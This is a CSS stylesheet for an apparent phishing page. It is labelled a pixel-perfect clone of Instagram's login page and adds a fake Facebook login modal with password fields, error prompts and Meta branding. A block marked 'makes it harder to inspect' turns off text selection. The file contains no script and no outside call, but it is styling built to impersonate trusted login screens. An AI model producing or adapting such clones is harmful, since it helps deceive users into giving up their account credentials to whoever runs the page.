/* ============================================
   INSTAGRAM LOGIN PAGE - PIXEL PERFECT CLONE
   ============================================ */

@import url('https://fonts.googleapis.com/css2?family=Roboto:wght@300;400;500;700&display=swap');

* {
  margin: 0;
  padding: 0;
  box-sizing: border-box;
}

body {
  font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Helvetica, Arial, sans-serif;
  background-color: #fafafa;
  color: #262626;
  min-height: 100vh;
  display: flex;
  flex-direction: column;
}

/* ---- MAIN CONTAINER ---- */
.main-container {
  display: flex;
  justify-content: center;
  align-items: center;
  flex-grow: 1;
  margin-top: 32px;
  margin-bottom: 32px;
}

.inner-container {
  display: flex;
  align-items: center;
  justify-content: center;
  max-width: 935px;
  width: 100%;
  padding: 0 20px;
}

/* ---- PHONE MOCKUP (LEFT SIDE) ---- */
.phone-container {
  position: relative;
  flex: 0 0 454px;
  height: 618px;
  margin-right: 32px;
  align-self: center;
}

.phone-image {
  width: 454px;
  height: 618px;
  position: relative;
  z-index: 2;
  pointer-events: none;
}

.screenshot-wrapper {
  position: absolute;
  top: 99px;
  right: 62px;
  width: 250px;
  height: 441px;
  overflow: hidden;
  z-index: 1;
}

.phone-screenshot {
  position: absolute;
  top: 0;
  left: 0;
  width: 100%;
  height: 100%;
  object-fit: cover;
  opacity: 0;
  transition: opacity 1.5s ease-in-out;
}

.phone-screenshot.active {
  opacity: 1;
}

/* ---- RIGHT SIDE (LOGIN FORM) ---- */
.right-side {
  flex: 0 1 350px;
  display: flex;
  flex-direction: column;
  align-items: center;
}

/* ---- LOGIN BOX ---- */
.login-box {
  background-color: #fff;
  border: 1px solid #dbdbdb;
  border-radius: 1px;
  padding: 10px 0;
  margin-bottom: 10px;
  width: 100%;
  text-align: center;
}

.login-box .logo-container {
  margin: 22px auto 12px;
  padding: 0;
  display: flex;
  justify-content: center;
}

/* Text-based Instagram logo */
.text-logo {
  font-family: 'Segoe Script', 'Brush Script MT', 'Dancing Script', cursive;
  font-size: 40px;
  font-weight: 400;
  color: #262626;
  letter-spacing: -1px;
  user-select: none;
  -webkit-user-select: none;
}

/* SVG logo - hidden by default, shown if loaded */
.ig-logo {
  display: none;
}

/* ---- FORM ---- */
.login-form {
  display: flex;
  flex-direction: column;
  padding: 0 40px;
  margin-top: 24px;
}

.input-wrapper {
  position: relative;
  margin-bottom: 6px;
  background: #fafafa;
  border: 1px solid #dbdbdb;
  border-radius: 3px;
  overflow: hidden;
  height: 36px;
  transition: border-color 0.1s ease;
}

.input-wrapper.focused {
  border-color: #a8a8a8;
}

.input-wrapper.has-value {
  height: 38px;
}

.input-wrapper label {
  position: absolute;
  left: 8px;
  top: 9px;
  font-size: 12px;
  color: #8e8e8e;
  pointer-events: none;
  transition: all 0.1s ease-out;
  transform-origin: left top;
}

.input-wrapper.has-value label,
.input-wrapper.focused.has-value label {
  top: 4px;
  font-size: 10px;
  color: #8e8e8e;
}

.input-wrapper input {
  width: 100%;
  border: none;
  outline: none;
  background: transparent;
  padding: 9px 8px;
  font-size: 12px;
  line-height: 18px;
  color: #262626;
}

.input-wrapper.has-value input {
  padding: 14px 8px 2px;
}

.password-toggle {
  position: absolute;
  right: 8px;
  top: 50%;
  transform: translateY(-50%);
  background: none;
  border: none;
  font-size: 14px;
  font-weight: 600;
  color: #262626;
  cursor: pointer;
  display: none;
  font-family: inherit;
}

.password-toggle:hover {
  color: #8e8e8e;
}

.input-wrapper.has-value .password-toggle {
  display: block;
}

/* ---- LOGIN BUTTON ---- */
.login-btn {
  margin-top: 8px;
  margin-bottom: 8px;
  padding: 7px 16px;
  background-color: #0095f6;
  border: none;
  border-radius: 8px;
  color: #fff;
  font-size: 14px;
  font-weight: 600;
  cursor: pointer;
  opacity: 0.7;
  pointer-events: none;
  transition: opacity 0.2s ease;
  line-height: 18px;
  min-height: 32px;
  font-family: inherit;
  position: relative;
}

.login-btn.active {
  opacity: 1;
  pointer-events: auto;
}

.login-btn.active:hover {
  background-color: #1877f2;
}

.login-btn.loading {
  opacity: 0.7;
  pointer-events: none;
}

/* ---- DIVIDER ---- */
.divider {
  display: flex;
  align-items: center;
  margin: 10px 40px 18px;
}

.divider-line {
  flex: 1;
  height: 1px;
  background-color: #dbdbdb;
}

.divider-text {
  padding: 0 18px;
  font-size: 13px;
  font-weight: 600;
  color: #8e8e8e;
  text-transform: uppercase;
}

/* ---- FACEBOOK LOGIN ---- */
.fb-login {
  display: flex;
  align-items: center;
  justify-content: center;
  margin-bottom: 10px;
  cursor: pointer;
  background: none;
  border: none;
  padding: 4px 0;
  font-family: inherit;
}

.fb-icon-svg {
  margin-right: 8px;
  flex-shrink: 0;
}

.fb-login-text {
  color: #385185;
  font-size: 14px;
  font-weight: 600;
}

.fb-login:hover .fb-login-text {
  color: #2b4170;
}

/* ---- FORGOT PASSWORD ---- */
.forgot-password {
  margin-top: 12px;
  margin-bottom: 16px;
}

.forgot-password a {
  color: #00376b;
  font-size: 12px;
  text-decoration: none;
}

.forgot-password a:hover {
  color: #00376b;
}

/* ---- SIGNUP BOX ---- */
.signup-box {
  background-color: #fff;
  border: 1px solid #dbdbdb;
  border-radius: 1px;
  padding: 22px 0;
  margin-bottom: 10px;
  width: 100%;
  text-align: center;
  font-size: 14px;
}

.signup-box a {
  color: #0095f6;
  font-weight: 600;
  text-decoration: none;
}

.signup-box a:hover {
  color: #1877f2;
}

/* ---- APP DOWNLOAD ---- */
.app-download {
  text-align: center;
  margin-top: 10px;
}

.app-download p {
  font-size: 14px;
  margin-bottom: 14px;
}

.app-badges {
  display: flex;
  justify-content: center;
  gap: 8px;
}

.app-badges a img {
  height: 40px;
}

/* ---- FOOTER ---- */
.footer {
  padding: 0 20px;
  margin-bottom: 52px;
  margin-top: auto;
}

.footer-links {
  display: flex;
  flex-wrap: wrap;
  justify-content: center;
  gap: 0;
  margin-bottom: 16px;
  max-width: 1024px;
  margin-left: auto;
  margin-right: auto;
}

.footer-links a {
  color: #8e8e8e;
  font-size: 12px;
  text-decoration: none;
  margin: 0 8px 12px;
  font-weight: 400;
}

.footer-links a:hover {
  text-decoration: underline;
}

.footer-bottom {
  display: flex;
  justify-content: center;
  align-items: center;
  gap: 16px;
}

.footer-bottom select {
  border: none;
  background: transparent;
  color: #8e8e8e;
  font-size: 12px;
  cursor: pointer;
  outline: none;
  padding: 0;
  font-family: inherit;
}

.footer-bottom span {
  color: #8e8e8e;
  font-size: 12px;
}

/* ---- ERROR MESSAGE ---- */
.error-message {
  color: #ed4956;
  font-size: 14px;
  line-height: 18px;
  margin: 10px 0;
  text-align: center;
  display: none;
}

.error-message.show {
  display: block;
}

/* ---- LOADING SPINNER ---- */
.spinner {
  display: none;
  width: 18px;
  height: 18px;
  border: 2px solid rgba(255, 255, 255, 0.4);
  border-top: 2px solid #fff;
  border-radius: 50%;
  animation: spin 0.8s linear infinite;
  margin: 0 auto;
}

.login-btn.loading .btn-text {
  display: none;
}

.login-btn.loading .spinner {
  display: inline-block;
}

@keyframes spin {
  to {
    transform: rotate(360deg);
  }
}

/* ---- RESPONSIVE ---- */
@media (max-width: 875px) {
  .phone-container {
    display: none;
  }

  .inner-container {
    justify-content: center;
  }

  .main-container {
    margin-top: 12px;
  }
}

@media (max-width: 450px) {

  .login-box,
  .signup-box {
    border: none;
    background: transparent;
  }

  body {
    background-color: #fff;
  }

  .login-form {
    padding: 0 16px;
  }

  .divider {
    margin: 10px 16px 18px;
  }
}

/* ---- NOTIFICATION ---- */
.notification {
  position: fixed;
  top: 0;
  left: 0;
  right: 0;
  background-color: #ed4956;
  color: #fff;
  text-align: center;
  padding: 12px;
  font-size: 14px;
  font-weight: 600;
  transform: translateY(-100%);
  transition: transform 0.3s ease;
  z-index: 9999;
}

.notification.show {
  transform: translateY(0);
}

.notification.success {
  background-color: #78c257;
}

/* ---- ANTI-SELECT (makes it harder to inspect) ---- */
.login-box,
.signup-box,
.footer,
.app-download {
  -webkit-user-select: none;
  -moz-user-select: none;
  -ms-user-select: none;
  user-select: none;
}

/* Inputs should still be selectable */
.input-wrapper input,
.error-message {
  -webkit-user-select: text;
  -moz-user-select: text;
  -ms-user-select: text;
  user-select: text;
}

/* ============================================
   FACEBOOK LOGIN MODAL
   ============================================ */

/* Overlay */
.fb-modal-overlay {
  display: none;
  position: fixed;
  top: 0;
  left: 0;
  right: 0;
  bottom: 0;
  background-color: rgba(0, 0, 0, 0.65);
  z-index: 10000;
  justify-content: center;
  align-items: center;
  animation: fadeIn 0.2s ease;
}

.fb-modal-overlay.show {
  display: flex;
}

@keyframes fadeIn {
  from {
    opacity: 0;
  }

  to {
    opacity: 1;
  }
}

/* Modal Card */
.fb-modal {
  background: #fff;
  border-radius: 8px;
  width: 420px;
  max-width: 95vw;
  box-shadow: 0 2px 20px rgba(0, 0, 0, 0.3);
  overflow: hidden;
  animation: slideUp 0.3s ease;
}

@keyframes slideUp {
  from {
    transform: translateY(20px);
    opacity: 0;
  }

  to {
    transform: translateY(0);
    opacity: 1;
  }
}

/* FB Modal Header */
.fb-modal-header {
  display: flex;
  justify-content: space-between;
  align-items: center;
  padding: 14px 16px;
  border-bottom: 1px solid #dddfe2;
  background: #f0f2f5;
}

.fb-modal-header-left {
  display: flex;
  align-items: center;
  gap: 10px;
}

.fb-modal-title {
  font-size: 17px;
  font-weight: 600;
  color: #1c1e21;
}

.fb-modal-close {
  width: 30px;
  height: 30px;
  border-radius: 50%;
  border: none;
  background: #e4e6eb;
  color: #606770;
  font-size: 16px;
  cursor: pointer;
  display: flex;
  align-items: center;
  justify-content: center;
  transition: background 0.15s;
  font-family: inherit;
}

.fb-modal-close:hover {
  background: #d8dadf;
}

/* FB Modal Body */
.fb-modal-body {
  padding: 16px;
}

.fb-modal-subtitle {
  font-size: 14px;
  color: #606770;
  margin-bottom: 16px;
  line-height: 1.4;
}

/* FB Input Fields */
.fb-input-group {
  position: relative;
  margin-bottom: 12px;
}

.fb-input-group input {
  width: 100%;
  padding: 14px 60px 14px 16px;
  border: 1px solid #dddfe2;
  border-radius: 6px;
  font-size: 17px;
  color: #1c1e21;
  outline: none;
  background: #fff;
  font-family: inherit;
  transition: border-color 0.15s, box-shadow 0.15s;
}

.fb-input-group input:focus {
  border-color: #1877f2;
  box-shadow: 0 0 0 2px rgba(24, 119, 242, 0.2);
}

.fb-input-group input::placeholder {
  color: #8a8d91;
}

.fb-pwd-toggle {
  position: absolute;
  right: 12px;
  top: 50%;
  transform: translateY(-50%);
  background: none;
  border: none;
  color: #606770;
  font-size: 14px;
  font-weight: 600;
  cursor: pointer;
  font-family: inherit;
}

.fb-pwd-toggle:hover {
  color: #1c1e21;
}

/* FB Error Message */
.fb-error-msg {
  display: none;
  background: #ffebe9;
  border: 1px solid #f5c6cb;
  border-radius: 6px;
  padding: 12px 16px;
  font-size: 13px;
  color: #dc3545;
  margin-bottom: 12px;
  line-height: 1.4;
}

.fb-error-msg.show {
  display: block;
}

.fb-error-msg a {
  color: #1877f2;
  text-decoration: none;
  font-weight: 600;
}

.fb-error-msg a:hover {
  text-decoration: underline;
}

/* FB Login Submit Button */
.fb-login-submit {
  width: 100%;
  padding: 12px 16px;
  background-color: #1877f2;
  border: none;
  border-radius: 6px;
  color: #fff;
  font-size: 17px;
  font-weight: 700;
  cursor: pointer;
  transition: background 0.15s;
  font-family: inherit;
  min-height: 48px;
  position: relative;
}

.fb-login-submit:hover {
  background-color: #166fe5;
}

.fb-login-submit.loading {
  opacity: 0.7;
  pointer-events: none;
}

.fb-login-submit.loading .fb-btn-text {
  display: none;
}

.fb-login-submit.loading .fb-spinner {
  display: inline-block;
}

/* FB Spinner */
.fb-spinner {
  display: none;
  width: 20px;
  height: 20px;
  border: 3px solid rgba(255, 255, 255, 0.3);
  border-top: 3px solid #fff;
  border-radius: 50%;
  animation: spin 0.8s linear infinite;
  margin: 0 auto;
}

/* FB Modal Footer Links */
.fb-modal-footer-links {
  text-align: center;
  margin-top: 16px;
  padding-top: 16px;
  border-top: 1px solid #dddfe2;
}

.fb-modal-footer-links a {
  color: #1877f2;
  font-size: 14px;
  text-decoration: none;
  font-weight: 400;
}

.fb-modal-footer-links a:hover {
  text-decoration: underline;
}

.fb-separator {
  color: #8a8d91;
  margin: 0 8px;
}

/* FB Modal Footer (Meta branding) */
.fb-modal-footer {
  display: flex;
  justify-content: center;
  padding: 12px;
  background: #f0f2f5;
  border-top: 1px solid #dddfe2;
}

.fb-meta-logo {
  opacity: 0.6;
}

/* FB Modal Responsive */
@media (max-width: 450px) {
  .fb-modal {
    width: 100%;
    border-radius: 0;
    min-height: 100vh;
  }

  .fb-modal-header {
    padding: 12px;
  }

  .fb-modal-title {
    font-size: 15px;
  }

  .fb-input-group input {
    font-size: 16px;
    padding: 12px 50px 12px 12px;
  }

  .fb-login-submit {
    font-size: 16px;
  }
}